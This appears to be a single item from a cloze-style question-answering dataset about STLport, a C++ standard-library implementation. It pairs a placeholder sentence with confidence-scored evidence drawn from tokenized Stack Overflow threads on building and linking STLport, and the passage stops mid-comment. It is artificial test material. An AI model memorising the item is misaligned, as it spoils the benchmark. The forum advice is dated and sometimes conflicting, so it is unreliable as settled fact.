[ "yes-answer-long", "yes-answer-short" ]
entry-point
UNK_RELATION
stlport@multiplatform@42
stlport -- stlport is a free open-source @placeholder c++ - standard-library implementation .
{ "confidence": [ 69.7236099243164, 52.82548522949219, 51.91016387939453, 48.25468826293945, 45.05561828613281, 44.605316162109375, 43.54838562011719, 43.1158332824707, 42.91616439819336, 42.784568786621094, 42.784568786621094, 42.678741455078125, 42.56741714477539, 42.01461410522461, 41.92390441894531, 41.92390441894531, 41.531009674072266, 41.0652961730957, 40.82268524169922, 40.813629150390625, 40.363502502441406, 40.36098098754883, 40.22459411621094, 40.22459411621094, 40.22459411621094, 40.22459411621094, 39.502838134765625, 39.433074951171875, 39.2127799987793, 39.2127799987793, 39.123374938964844, 39.042232513427734, 39.025047302246094, 38.24140167236328, 38.11155700683594, 38.03451156616211, 38.03451156616211, 37.94240951538086, 37.94240951538086, 37.94240951538086, 37.80352783203125, 37.80352783203125, 36.91421890258789, 36.841190338134766, 36.79171371459961, 36.79171371459961, 36.71862030029297, 36.71466827392578, 36.71466827392578, 36.50462341308594, 36.25529098510742, 35.93824005126953, 35.52134704589844, 35.52134704589844, 35.52134704589844, 35.52134704589844, 35.40340042114258, 35.39020538330078, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.85105895996094, 34.47242736816406, 34.47242736816406, 34.47242736816406, 34.47242736816406, 33.973106384277344, 33.973106384277344, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.749839782714844, 33.73303985595703, 33.37120819091797, 33.37120819091797, 33.215850830078125, 33.215850830078125, 33.215850830078125, 33.215850830078125, 33.215850830078125, 33.078025817871094, 32.346981048583984, 32.114627838134766, 32.102020263671875, 32.051361083984375 ], "content": [ "STLPort is an open-source implementation of standard-library for C++ .", "is stlport free", "Our Organization uses STLPort as the standard C++ library .", "Compile STLPORT with other source code without any libs of STLPORT .", "I saw someone use stlport in visual-c++ but I think standard c++ library is included with visual-c++ already", "First I ve build STLport for each of these platforms say PLATFORM1 and PLATFORM2 and put the STLport libraries to say c : lib STLport-5.2.1 lib PLATFORM1 and c : lib STLport-5.2.1 lib PLATFORM2 .", "quote Provides a default C++ STL implementation based on STLport as a helper module .", "The reason for this is that libCsunimath was compiled with the default library headers not with STLport .", "It turns out the source I got my copy of STLPort from git : stlport.git.sourceforge.net gitroot stlport stlport is much more bleeding edge than I thought .", "Environment : VS2005 C++ using STLPort 5.1.4 .", "Is it possible to use stlport within a Managed C++ DLL", "I have complex app java+native code which loads STLport a c++-standard-library port .", "This means for example that you cannot use the STLport implementation and the C++ interval math library libCsunimath together .", "But wrong STLport library path is used by bjam for PLATFORM2 .", "what s the advantage to use stlport", "Is Boost supported for STLPort 4.6.2", "I m trying to do some work with the version of stlport in the froyo source .", "If you use the STLport implementation of the standard-library then you must compile and link all files including third-party libraries with the option -library stlport4 .", "STLPORT is not meant to be used like that .", "http : gitorious.org stlport mainline blobs master stlport stl string.h", "My C++ code relies on STLPort 5.1.0 .", "Or more likely an unintended side-effect of the specific STLPort implementation", "That s why we chose stlport .", "I m trying to build STLport for Android .", "stlport stl config user config.h .. . .. . 3 .", "STLPort says version 4.5.3 in the readme .", "Why are you using STLPort", "It appears that you need to link the stlport library and aren t doing so .", "In stlport sourceforge page there is still no news for this question : .. . .. . https : sourceforge.net projects stlport forums forum 490890 topic 4031364 .. . .. . Thanks", "Following these docs of STLPORT there is only way to compile STLPORT with VS2008 in command-line like : configure nmake clean install and so on .", "In short I m looking for alternatives to STLPort .", "In the user-config.jam I changed all my STLport toolset initializations to a single one : .. . .. . using stlport : 5.2.1 : c : lib STLport-5.2.1 stlport : c : lib STLport-5.2.1 lib STLPORTLIBSUBDIR .. . .. . Also to peek the variable I added the following line somewhere before the using directive : .. . .. . local STLPORTLIBSUBDIR modules.peek : STLPORTLIBSUBDIR .. . .. . And then to build Boost libraries for PLATFORM1 I need to pass bjam the following parameters : .. . .. . stdlib stlport-5.2.1 and -sSTLPORTLIBSUBDIR PLATFORM1", "I downloaded stlport from https : stlport.svn.sourceforge.net svnroot stlport trunk STLport and tried to compile it with Visual Studio 2008 SP1 on Windows 7 x64 .", "As required to use STLPort I updated sc.ini to have : .. . .. . INCLUDE @P . . stlport stlport @P . . include INCLUDE .. . .. . The following test program compiles fine with MinGW g++ but with dmc gives the errors shown in the comments .", "If I comment out the define std STLPORT line my legacy project s code won t compile it s stlport dependent .", "You have two different implementations of STL one in the STLPORT and one in the standard-library .", "Your old code needs STLPORT and your new code needs the standard-library .", "Why exactly do you want to use STLPort", "Your using stlport line is missing a version specifier .", "Loading stlport as static solved the unsatisfiedLinkError issue for dalvik .", "I ve compiled boost.python with stdlib stlport .", "I m using VS2003 and STLport on Windows .", "You can t run STLport - it s a library - what c++ code have you written that causes the crash", "Have you reconfigured STLPort for the new compiler environment", "I use stlport to compile DC++ I don t think this is possible without the stlport", "@BoPersson The reason why I choose STLPort is because STLPort can work well for different platforms .", "I don t think STLport has C++11 features .", "So my Visual studio settings are modified such that any project uses stlport as the standard-library and it is dynamically linked .", "Taking this into account the question becomes : .. . .. . Should I use the standard-library provided with my compiler or use stlport or other alternatives", "The next parameter is the path to the stlport include directory change accordingly and the third and final parameter is the path to the STLport libraries that are COMPILED FOR THE SAME VERSION OF MSVC .", "Unfortunately this approach doesn t work for STLPort .", "The configure script that I downloaded from the svn still says : c : stlport configure -c msvc9 STLport Configuration Tool for Windows .. . .. . Unknown compiler : -c .. . .. . Unknown option : msvc9 .. . .. . Setting platform : Windows XP .. . .. . Done configuring STLport .", "I can now compile with or without stlport thanks .", "Is STLPort implemented string via reference counting mechanism", "Considering things like stlport is a lib but stl is not etc .", "There should be strong reasons to use STLPort in your project .", "you should not modify wcealt.h put any stlport configuration macros before including any of the stl headers or better inside stlport stl config user config.h", "I can find the actual relops code in dm stl stl relops.h .. . .. . But I m not sure how this code is supposed to get included by dm stlport stlport utility .. . .. . The Digital Mars version of STLPort appears to be configured to not use the rel ops namespace define STLP NO RELOPS NAMESPACE in dm stlport stlport config stl dm.h but omitting using namespace std : : rel ops didn t help .", "But did you compile stlport with Visual Studio 2008 too", "I used the same compiler for StlPort Qt and my current project .", "STLport does however not provide a file called stlport statix.lib only stlport static.lib .", "Long explanation : STLport can be built either for dynamic linking or static linking .", "And I do not want to port all libs from STLport .", "Of course for versions of STLPort other than 5.2.1 substitute the correct version numbers .", "I was trying to compile STLPort with cross-compiler toolchaine for uclinux .", "how can I make a appropciate Makefile for STLPort on arm-linux-gcc", "I m currently porting code from stlport 5.1.3 to stl with MSVS 2010 .", "Somewhere in the code is : .. . .. . This builds with stlport because the basic ifstream has a cTor that takes a void .", ".. . STLport in debug mode is as much exception-safe and thread-safe as in release-mode .", "I want to config VS2008 to compile STLPORT without command-line build .", "I ve looked thru a lot of material on Android NDK and STLport .", "I include the STLport location in the Additional Include Path of the libraries and include the library in the input to linker for executable .", ": .. . .. . I checked if the functions are included in the stlport library DLL and the functions a present with a slightly different undecorated name .", "I have installed STLport and the correct path is set in Tools- Options- Projects And Solutions- VC++ Directories- Library Files .", "I m trying to build STLport as it is a pre-requisite for another library I m trying to build .", "They do not suggest that you aren t linking against STLport .", "Also is there any specific reason you use STLPort", "When I run STLport on Darwin I get a strange crash .", "The STLPort Solaris version fails to compile with g++ but is g++ right", "In 4.6 the construct function is found on line 365 of stlport stl alloc.h .", "But there it is in the NDK under sources cxx-stl along with their minimal system and stlport .", "See this table : .. . .. . stlport can get used in non-GPL binarys .", "So I m trying to link in STLPort to see if it deals with our performance problems .", "Do not touch STLPORT includes do not redefine std in your code .", "What I was gonna try next was D to replace stlport with std .", "STLPort hasn t had an update for some time since 2008", "I solved the problem by using a special variable to define STLport libraries location .", "You select which one you use by choosing the right compiler-flags not by modifying your or STLPORT source .", "It can be used either as a static or shared library details and usage examples are in sources android stlport README .", "I ve tried define STLPORT std in a line just before including the new library but this define just doesn t seem to work .", "We re using STLPORT and we d like to change stlport s default allocator : instead of vector int we d like to try vector int otherallocator .. . .. . Which alternative allocator are available in stlport and what are their features", "I get the impression STLport has substantial potential performance gains over Dinkumware s STL - so I m considering porting a large MSVC solution to STLport to try it out .", "I m building boost 1.48.0 with STLport 5.2.1 on Windows using MSVC 7.1 and here is the command-line I run : .. . .. . My user-config.jam is setup like so : .. . .. . I get several linker errors relating to STLport .", "In this example I m using MSVC8 but change it to your version per the following table : .. . .. . Similarly for the using stlport line make sure you specify the appropriate version of STLport .", "After I compiled STLport http : www.stlport.org I have obtained three .dll in the bin direcotry : one is for release stlport.5.2.dll and the others are for debug stlportd.5.2.dll and stlportstld.5.2.dll .", "I have no solution for this just a note that STLPort is now a rather old library 2008 and has no general advantage over the standard lib provided by VC2010 .", "I m trying to use STLPort in my project and when I follow the directions in INSTALL.unixes I get compile errors .", "Then in the user-config.jam I have : .. . .. . Then for PLATFORM1 I build Boost libraries by running bjam.exe with the stdlib stlport-5.2.1 PLATFORM1 flag while building for PLATFORM2 uses stdlib stlport-5.2.1 PLATFORM2 .", "It should also be noted that the VC2010 library has quite good C++11 functionality while for natural reasons STLPort is sorely lacking .", "I am using the stlport stl due to other libraries I am using that use this stl library ." ] }
{ "confidence": [ 65.08373260498047, 60.833473205566406, 60.05632781982422, 57.718780517578125, 55.64365005493164, 54.0355224609375, 52.978851318359375, 52.35694885253906, 52.258827209472656, 52.245094299316406, 51.87847137451172, 51.73899459838867, 51.687931060791016, 50.17573547363281, 50.090293884277344, 49.89258575439453, 49.73900604248047, 49.60606384277344, 49.286590576171875, 49.10382080078125 ], "content": [ "Question : I saw someone use stlport in visual-c++ but I think standard c++ library is included with visual-c++ already what s the advantage to use stlport is stlport free Comment : stlport.sourceforge.net FAQ.shtml what http : stlport.sourceforge.net FAQ.shtml what .. . Answer : Most likely either the code was written before visual-c++ had a full implementation for example in VC6 or the code is cross-platform and the author wanted to make sure the same library was there on each platform . That s not so much of an issue recently but even 2 or 3 years ago there were much more substantial differences from the standard in each implementation", "Question : I m trying to write a simple hello world program in visual-c++ using visual-studio-2010 prof . Im getting the following error after successful build . When I searched about it it is an open-source project . So what is the link between these two The only thing I changed from default VS installation is importing settings from other machine which is main build machine for our company . Here is what I did : 1 . Create an empty project . 2 . Added a source file Main.cpp with hello world line . 3 . F7 4 . Ctrl+F5 .. . .. . Now I m getting above error Comment : Link with VERBOSE and the linker will show you exactly why you get a dependency . .. . Answer : Our Organization uses STLPort as the standard C++ library . STLPort is an open-source implementation of standard-library for C++ . So my Visual studio settings are modified such that any project uses stlport as the standard-library and it is dynamically linked . So we can either : .. . .. . 1 . Put StlPort.X.X.dll in the directory where the executable is residing . OR .. . 2 . Remove the settings carefully to make your project to use default standard-library provided by Microssoft SDK .", "Question : I m trying to connect ro MySQL Server using MySQL Client Library libmysqlclient.so from my C++ Program . This libmysqlclient.so on Solaris has a dependency with libstlport.so . This is what I can see with ldd command . I read in Oracle docs that inbuilt libCstd.so and libstlport.so are binary-compatible . So Can I copy libCstd.so and rename it to libstlport.so or something like this to make MySQL Client Library to work .. . Answer : According to Oracle Solaris Studio 12.2 : C++ User s Guide http : docs.oracle.com cd E18659 01 html 821-1383 bkakg.html : .. . .. . STLport is binary incompatible with the default libCstd . If you use the STLport implementation of the standard-library then you must compile and link all files including third-party libraries with the option -library stlport4 . This means for example that you cannot use the STLport implementation and the C++ interval math library libCsunimath together . The reason for this is that libCsunimath was compiled with the default library headers not with STLport .", "Question : null .. . Answer : I installed the Digital Mars C C++ compiler on Windows . This is the full paid version that include pre-built STLPort It s dm852.zip but dmc reports 8.42n . STLPort says version 4.5.3 in the readme . As required to use STLPort I updated sc.ini to have : .. . .. . INCLUDE @P . . stlport stlport @P . . include INCLUDE .. . .. . The following test program compiles fine with MinGW g++ but with dmc gives the errors shown in the comments . I can find the actual relops code in dm stl stl relops.h .. . .. . But I m not sure how this code is supposed to get included by dm stlport stlport utility .. . .. . The Digital Mars version of STLPort appears to be configured to not use the rel ops namespace define STLP NO RELOPS NAMESPACE in dm stlport stlport config stl dm.h but omitting using namespace std : : rel ops didn t help . It seems like this must be some kind of configuration issue but I haven t been able to figure it out . Comment : Just don t use std : : rel ops http : stackoverflow.com q 6225375 636019 . Comment : Thanks but that doesn t answer the question . I have a large code-base that makes use of rel ops . It compiles and runs fine with G++ and Visual C++ . Aren t rel ops part of the standard My example is pretty much identical to that given in The C++ Standard Library by Josuttis .", "Question : I m using a library called stlport which redefines the std namespace like this : .. . .. . Because of this where-ever in my code I try to use std : : something it gets substituted with STLP : : something . If I comment out the define std STLPORT line my legacy project s code won t compile it s stlport dependent . If I don t comment out the line the new library I m trying to add won t compile because it uses std : : with a different set of allocators from what stlport uses . Type clashes . I ve tried define STLPORT std in a line just before including the new library but this define just doesn t seem to work . Is there a way to use the normal std once it gets redefined like this .. . Answer : You have two different implementations of STL one in the STLPORT and one in the standard-library . Your old code needs STLPORT and your new code needs the standard-library . Both new and old code use things like include vector but they need different include files named vector and hence different -I compiler-flags . You cannot compile them with the same compiler settings . If you don t need to exchange standard containers and other STL-related data between old and new code you can compile old code with the STLPORT settings and the new code with the regular settings . Do not touch STLPORT includes do not redefine std in your code . STLPORT is not meant to be used like that . It is intended as a drop-in replacement for the parts of the standard-library . You select which one you use by choosing the right compiler-flags not by modifying your or STLPORT source . If you do need to exchange standard containers between old and new code you are out of luck . Your only recourse is to modify the legacy code such that it conforms to the standard . Comment : I don t need to exchange standard containers but if I m to use -I then I d have to keep the new code as part of a separate project in the solution right I can t use the new code in the same project as the old code I ve been stuck with this problem for a month now and your answer has given such a relief Thank you What I was gonna try next was D to replace stlport with std . Comment : I am not that much familiar with Visual Studio . Perhaps the easiest solution is to keep old and new code in different projects I m not sure .", "Question : null .. . Answer : I have installed Stlport on my windows computer and in order to substitute Microsoft STL with Stlport in VC10 I have added the head files of Stlport to Include Directories Property Pages- VC++ Directories- Include Directories put stl port.lib in the link Linker- Input- Additional Dependencies and stlport.dll in the searching directory . Moreover I also defined the following macros : STLP DONT USE AUTO LINK STLP LEAKS PEDANTIC STLP USE DYNAMIC LIB C C++- Preprocessor Definitions . It seems work very well when I invoke STL functions . However when I invoke the third-party libraries with lib and dll that relies on STL I will have STL conflict problems . The reason I guess is because the third party libraries use Microsoft STL . A typical error is as follows : .. . .. . I also tried to build the third party libraries from the source codes but I have met with the similar link error : .. . .. . I was wondering what I can do to solve the link error problem . Thanks Comment : I have no solution for this just a note that STLPort is now a rather old library 2008 and has no general advantage over the standard lib provided by VC2010 . If you don t have a very specific requirement this will not be that productive . Comment : It should also be noted that the VC2010 library has quite good C++11 functionality while for natural reasons STLPort is sorely lacking . Comment : @BoPersson The reason why I choose STLPort is because STLPort can work well for different platforms . Comment : @feelfree - If you write desktop or server apps for say Windows Linux and OSX the compilers for each of those platforms all have standard libraries that are actively maintained and newer than STLPort . I would only consider it for some exotic device where the options are limited .", "Question : I downloaded stlport from https : stlport.svn.sourceforge.net svnroot stlport trunk STLport and tried to compile it with Visual Studio 2008 SP1 on Windows 7 x64 . The readme says to use : configure -c msvc9 but -c is an unknown compiler option so I used : configure msvc9 This seems to work according to the output but it doesn t . The build lib dir stays empty . Do you have any suggestions Comment : Why are you using STLPort The Microsoft STL implementation as of VS2005 is very good . Comment : @Steve : Agreed I have no quibbles with the MSVC9 STL implementation . Comment : I use stlport to compile DC++ I don t think this is possible without the stlport Comment : Dup of stackoverflow.com questions 122057 http : stackoverflow.com questions 122057 has-anyone-already-done-the-work-to-make-stlport-build-with-vs2008-and-or-an-x64 perhaps Comment : This is not a dup because with the current svn version I still get errors When I use the makefiles from strongdc.sourceforge.net download STLPort.7z http : strongdc.sourceforge.net download STLPort.7z and I copy all the svn files over the files in this 7z I still get : pastebin.com u5qHd36n http : pastebin.com u5qHd36n .. . Answer : I found the solution : .. . .. . I use Visual Studio 2008 Command Prompt for the vars and paths with the configure script from http : strongdc.sourceforge.net download STLPort.7z and I copy all the svn files over the files in this 7z Then I replace every value with stlvalue in stlport stlport type traits . In the folder stlport build lib I execute configure -c msvc9 and after that nmake f msvc.mak clean install . The configure script that I downloaded from the svn still says : c : stlport configure -c msvc9 STLport Configuration Tool for Windows .. . .. . Unknown compiler : -c .. . .. . Unknown option : msvc9 .. . .. . Setting platform : Windows XP .. . .. . Done configuring STLport . I use the script from the 7z that I downloaded", "Question : I apologize in advance for the long post.. . I used to be able to build our VC++ solutions we re on VS 2008 when we listed the STLPort include and library directories under VS Menu Tools Options VC++ Directories Directories for Include and Library files . However we wanted to transition to a build-process that totally relies on .vcproj and .sln files . These can be checked into source control unlike VS Options which have to be configured on each development PC separately . We handled the transition for most libraries by adding the Include directories to each Project s Property Pages Configuration Properties C C++ General Additional Include Directories and Library directories to Linker General Additional Library Directories . Unfortunately this approach doesn t work for STLPort . We get LNK2019 and LNK2001 errors during linking : .. . .. . This happens while linking and executable project to dependencies which are library projects . Curiously this does not happen while linking the library projects themselves . Any ideas .. . Answer : These link errors suggest that certain classes in your application either haven t been compiled using STLPort or have been omitted from the build . They do not suggest that you aren t linking against STLport . My guesses would be that : .. . .. . The build settings for MyClass somehow overwrite the project-wide setting for the include path and thus MyClass is being built using the default C++ STL implementation and not STLport . This should be easy to check - run dumpbin against the object file and check the functions in there reference the standard-library in the stlp namespace or not . If not it s likely that the compiler is not picking up the correct include path . I d also have a look at the command-line that the IDE is calling the compiler with . These can be viewed via the C C++ Configuration properties as well . As other posters also mentioned there is a chance that MyClass isn t being built but that should be very easy to check .", "Question : When trying to link my C++ solution in Visual Studio 2008 I get the message LNK1104 : cannot open file stlport statix.lib . I have installed STLport and the correct path is set in Tools- Options- Projects And Solutions- VC++ Directories- Library Files . STLport does however not provide a file called stlport statix.lib only stlport static.lib . Where does Visual Studio get the idea to swap the ending c with an x Note that this might very well be a real simple mistake as I am not familiar with the Microsoft stack coming from a Linux gcc background . Edit : I have found out where the x comes from it means static STLport lib built with dynamic RTL . The one who built STLPort didn t build that version since we are not supposed to use it . Edit2 : I am now trying to figure out why Visual Studio is building with MD even though the project is set to use MT under Code Generation . This seems to be the root of the problem . Comment : Do you have a file called stlport statix.lib Comment : No I only have stlport static.lib . .. . Answer : Problem solved . I had a project in the solution using MD instead of MT that I had overlooked . Long explanation : STLport can be built either for dynamic linking or static linking . It can also be built for static linking but with a dynamically linked runtime library . The latter results in a library called stlport statix.lib whereas the normal statically linked one is called stlport static.lib . When you are building with STLport auto link.h decides what version to link against based on whether you are using MD or MT . For details see auto link.h lines 27-39 and detect dll or lib.h lines 32-65 assuming STLport 5.2.1 .", "Question : I use Boost 1.54.0 bjam 2011.12.1 . OS NT with STLport 5.2.1 on a Windows CE development project . I first started with a single Windows CE platform SDK and all went mostly fine . But now I need to support several Windows CE platform SDKs each with its own system headers and compilation flags . First I ve build STLport for each of these platforms say PLATFORM1 and PLATFORM2 and put the STLport libraries to say c : lib STLport-5.2.1 lib PLATFORM1 and c : lib STLport-5.2.1 lib PLATFORM2 . Then in the user-config.jam I have : .. . .. . Then for PLATFORM1 I build Boost libraries by running bjam.exe with the stdlib stlport-5.2.1 PLATFORM1 flag while building for PLATFORM2 uses stdlib stlport-5.2.1 PLATFORM2 . But wrong STLport library path is used by bjam for PLATFORM2 . E.g . running bjam with the -n flag shows the following linking commands for the platforms note the wrong LIBPATH parameter in the second call : .. . .. . Basically it always uses the first using stlport directive from the user-config.jam no matter what version I m passing to the stdlib parameter . Am I doing something wrong What is the correct way to setup environment to be able to build Boost with different STLport binaries .. . Answer : I solved the problem by using a special variable to define STLport libraries location . Basically I did it the following way . In the user-config.jam I changed all my STLport toolset initializations to a single one : .. . .. . using stlport : 5.2.1 : c : lib STLport-5.2.1 stlport : c : lib STLport-5.2.1 lib STLPORTLIBSUBDIR .. . .. . Also to peek the variable I added the following line somewhere before the using directive : .. . .. . local STLPORTLIBSUBDIR modules.peek : STLPORTLIBSUBDIR .. . .. . And then to build Boost libraries for PLATFORM1 I need to pass bjam the following parameters : .. . .. . stdlib stlport-5.2.1 and -sSTLPORTLIBSUBDIR PLATFORM1", "Question : I am developing a kernel in C++ . But I do not want to write a stdlib for that purpose I have downloaded STLport http : www.stlport.org but I don t know how to install and use it . I am using Linux for building my kernel . How can I use c++ standard libs in my kernel And I do not want to port all libs from STLport . How can I exclude a selection of libs Like std : : string std : : vector etc . Comment : How about just extending 2.6.35 with boost I think it should suit all your needs Comment : what is your distro Comment : Thanks for your reply But I am not referring Linux Kernel for developing my kernel . I am developing totally different kernel from Linux as well as Unix . Comment : I am using Linux Fedora Core 15 Comment : When i am installing stlport it gives error like this : usr bin ld : cannot find -lsupc++ .. . Answer : I am not sure whether STL in kernel is actually good to have but if you really want to try it s very fun . I have written my own OS and when I had memory allocation in the kernel the first thing I did was porting STLport 5.2.1 . It was working well so far although the kernel itself is still too preliminary . Anyway I can share some experience on porting it . 1 . Porting STLport requires no building and very few prerequisites just include the headers and let the compiler know it s path -I option for gcc . The template classes will be compiled with your cpp source files . 2 . STLport is configurable you can disable what you can t afford and select what you want such as iostream debug exception RTTI and threading . Just checkout the documentation and then get to the configuration headers it s very nicely commented e.g . stlport stl config user config.h .. . .. . 3 . As the most basic you ll need malloc and free or maybe new delete and variants . That s enough for porting std string containers and algorithms IIRC . But it s neither thread safe nor memory allocation optimized you need to be very careful when you rely on it . 4 . You can do you own iostream it s just template classes and global objects BTW I hacked ELF sections and manually initialized my global objects by calling the functions but this needs more work . This link https : github.com famousz f-os is to github of my OS project I hope it could give you some inspiration .", "Question : This is more of an answer than a question because I ve figured it out at least as far as cleanly compiling the library . The main issue for me was to get shared-ptr working . Ingredients : .. . .. . Boost v . 1.45.0 .. . .. . The version of STLport at http : www.anddev.org viewtopic.php p 29939 . Version r4b of the NDK . Directions : .. . .. . In your Android.mk file add : .. . .. . Remove the call to stl throw length error at line 613 of stlport stl string.h . You can use STLP NO EXCEPTIONS if you like . Edit boost boost smart ptr shared ptr.hpp after line 261 to get rid of the call to boost : : throw exception in the shared-ptr constructor . I used ifndef BOOST EXCEPTION DISABLE around the entire body of the method . But see the answer below . Next you need to supply some missing pieces . Create a header file with the following : .. . .. . and a source file with a stripped-down exception class to support bad-alloc : .. . .. . Include the header wherever you re including boost shared ptr.hpp . Compile the source and add it to your library . Comment : To keep this question from being open forever it would be very cool if you could rephrase this post as a question and then answer it yourself as suggested by the FAQ http : stackoverflow.com faq ask . Comment : Thanks for sharing what you ve learnt I m sure this is helpful for many . Comment : Dennycrane I m still experimenting with this approach so I want to leave it open a bit in case there is more to add . When I get a cleanly running library I ll report that and close the question with an answer . Comment : I agree with @dennycrane at what would be better in the future but far more important is the fact that you took the time to post this helpful guide on SO in whatever format you post it in . I have already found it helpful and I haven t even had the chance to read it simply knowing this is possible will greatly help me with designing my current project . Thank you for saving me and many other people the time of finding the answer the same way you did without a question to prompt you . .. . Answer : Notably NDK r5 comes with STLport and the GNU STL and so the hacks here are no longer going to be necessary now that there is a STL support b exception support in the NDK C++ compiler . Comment : Your points a and b are true individually but not in combination see the WARNING in section III of CPLUSPLUS-SUPPORT.html in the nkd documentation . Consequently you ll still need the std : : bad-alloc std : : bad cast and boost : : throw exception hacks I discussed . Comment : It s odd . The documentation I quoted above does not refer to the GNU STL at all except to say that full GNU libstdc++ support is a future plan . But there it is in the NDK under sources cxx-stl along with their minimal system and stlport . Have you managed to get it to work I note an ongoing discussion on the issue at groups.google.com group android-ndk browse thread thread http : groups.google.com group android-ndk browse thread thread da175a5d6b8b7956 E2 80 8C E2 80 8B . Comment : It seems to be mentioned on the NDK page at developer.android.com sdk ndk index.html http : developer.android.com sdk ndk index.html and not in the docs . quote Provides a default C++ STL implementation based on STLport as a helper module . It can be used either as a static or shared library details and usage examples are in sources android stlport README . Prebuilt binaries for STLport static or shared and GNU libstdc++ static only Seems like libstdc++ works with exceptions and RTTI . Comment : I can compile with it but the library link stage goes badly with lots of undefined-reference errors . I tried an explicit LOCAL LDLIBS + -lstdc++ but it didn t help . Have you gotten APP STL : gnustl static to work Comment : Yes it works for me tm . I didn t need explicit additions to the ld arguments for the STL for every other library I build and use but not the STL itself . You can verify with a hello world using std : : vector or the like .", "Question : I m trying to use STLPort in my project and when I follow the directions in INSTALL.unixes I get compile errors . I ran . configure then make the output is below . I m using make 3.81 and gcc 4.6.1 on Ubuntu . Edit : I tried adding --with-extra-cxxflags -std c++ox and I get a different and smaller set of errors listed below . .. . Answer : It turns out the source I got my copy of STLPort from git : stlport.git.sourceforge.net gitroot stlport stlport is much more bleeding edge than I thought . If I grab the stable build from SourceForge it compiles fine . Comment : If it solved your issue then how about marking it as the accepted answer too Comment : I have to wait 12 more hours to mark it", "Question : I am trying to compile an android application in android-studio ndk r10d which uses some C++ code . I needed C++11 so I added -std gnu++11 I need gnu++11 instead of c++11 for an extension I am using . I am using the stlport stl due to other libraries I am using that use this stl library . So my cFlags and stl parameters in the build.gradle file looks like this : .. . .. . I also have included memory : include memory .. . .. . When trying to compile I receive this error : .. . .. . I have been using the boost implementation for the smart-pointers till now but with the move to c++11 I would rather use the standard implementation . Comment : What s the actual code that causes the error Comment : The original error is on this define I added to make code shorter but the errors are seen throughout the files wherever I try to use this macro : define myapp shared-ptr std : : shared-ptr Comment : shared-ptr doesn t name a type . It names a type template . Are you sure you re doing shared-ptr T when you use it The error I get when I leave that out is use of class-template requires template arguments Comment : I don t think STLport has C++11 features . .. . Answer : @T.C Looks like you were right . I saw your claim on a different question while looking for a solution for my problem but as libraries that I am using are compiling with C++11 and STLport I thought that this claim might not be true . What I think happened is that the libraries I m using are not using any C++11 features that the STLport is missing . They are only using C++11 features that the gcc compiler supports . I need the gnuStl to support the features that I am using . My solution was to use the boost implementation for the smart-pointers and all other missing C++11 features .", "Question : I downloaded stlport from https : stlport.svn.sourceforge.net svnroot stlport trunk STLport and tried to compile it with Visual Studio 2008 SP1 on Windows 7 x64 . The readme says to use : configure -c msvc9 but -c is an unknown compiler option so I used : configure msvc9 This seems to work according to the output but it doesn t . The build lib dir stays empty . Do you have any suggestions Comment : Why are you using STLPort The Microsoft STL implementation as of VS2005 is very good . Comment : @Steve : Agreed I have no quibbles with the MSVC9 STL implementation . Comment : I use stlport to compile DC++ I don t think this is possible without the stlport Comment : Dup of stackoverflow.com questions 122057 http : stackoverflow.com questions 122057 has-anyone-already-done-the-work-to-make-stlport-build-with-vs2008-and-or-an-x64 perhaps Comment : This is not a dup because with the current svn version I still get errors When I use the makefiles from strongdc.sourceforge.net download STLPort.7z http : strongdc.sourceforge.net download STLPort.7z and I copy all the svn files over the files in this 7z I still get : pastebin.com u5qHd36n http : pastebin.com u5qHd36n .. . Answer : Doesn t the configure script just create the configuration like it does for most Unix-type software Admittedly it s been a while since I used STLport but I think that you might have to run configure first and the probably a second build step involving nmake make to kick off the actual build . Comment : yes I know but the configure doesn t configure anything . The next step is to go into build lib and use nmake but the makefile isn t there .", "Question : null .. . Answer : I want to config VS2008 to compile STLPORT without command-line build . Following these docs of STLPORT there is only way to compile STLPORT with VS2008 in command-line like : configure nmake clean install and so on . But there is only one word in these docs : .. . .. . I wanna know how Any help for highly appreciated . Thanks . Comment : What for What advantage would compiling through the IDE give vs . using nmake Comment : Compile STLPORT with other source code without any libs of STLPORT . Comment : Fair enough +1 . I think that getting it to build in the IDE and be automatically linked against would probably take at least a couple days though whereas building it on the command-line and linking against it manually is well documented and would be much easier faster . I m assuming that you won t be modifying and therefore needing to recompile STLPORT often if at all .", "Question : I downloaded stlport from https : stlport.svn.sourceforge.net svnroot stlport trunk STLport and tried to compile it with Visual Studio 2008 SP1 on Windows 7 x64 . The readme says to use : configure -c msvc9 but -c is an unknown compiler option so I used : configure msvc9 This seems to work according to the output but it doesn t . The build lib dir stays empty . Do you have any suggestions Comment : Why are you using STLPort The Microsoft STL implementation as of VS2005 is very good . Comment : @Steve : Agreed I have no quibbles with the MSVC9 STL implementation . Comment : I use stlport to compile DC++ I don t think this is possible without the stlport Comment : Dup of stackoverflow.com questions 122057 http : stackoverflow.com questions 122057 has-anyone-already-done-the-work-to-make-stlport-build-with-vs2008-and-or-an-x64 perhaps Comment : This is not a dup because with the current svn version I still get errors When I use the makefiles from strongdc.sourceforge.net download STLPort.7z http : strongdc.sourceforge.net download STLPort.7z and I copy all the svn files over the files in this 7z I still get : pastebin.com u5qHd36n http : pastebin.com u5qHd36n .. . Answer : For DC++ the compilation instructions here http : dcplusplus.sourceforge.net webhelp compile.html suggest that for MSVC9 SP1 you don t need STLPort since tr1 containers are already in SP1 . Have you tried running through this Compiler .. . .. . Microsoft Visual C++ 9.0 2008 with at least Service Pack 1 : .. . .. . Get https : connect.microsoft.com VisualStudio Downloads DownloadDetails.aspx DownloadID 17034 wa wsignin1.0 https : connect.microsoft.com VisualStudio Downloads DownloadDetails.aspx DownloadID 17034 wa wsignin1.0 a hotfixed-hotfix which fixes SP1 . Download OpenSSL from www.openssl.org and compile it . You should get libraries called libeay32.lib and ssleay32.lib copy them in openssl lib . To compile DC++ in debug mode OpenSSL libraries have to be compiled in debug mode too read their instructions file it s a matter of adding debug in the do file you use . Rename debug libraries to libeay32d.lib and ssleay32d.lib put them in openssl lib . STLPort is not in the dependency list unless you use Other compilers without TR1 containers . Comment : You re right I didn t know that . I can now compile with or without stlport thanks .", "Question : Is it possible to use stlport within a Managed C++ DLL In my project i get several unresolved token -errors from the linker for stlport stuff . e.g . : .. . .. . I checked if the functions are included in the stlport library DLL and the functions a present with a slightly different undecorated name . So i suppose there s something wrong with calling convention Any ideas Comment : When 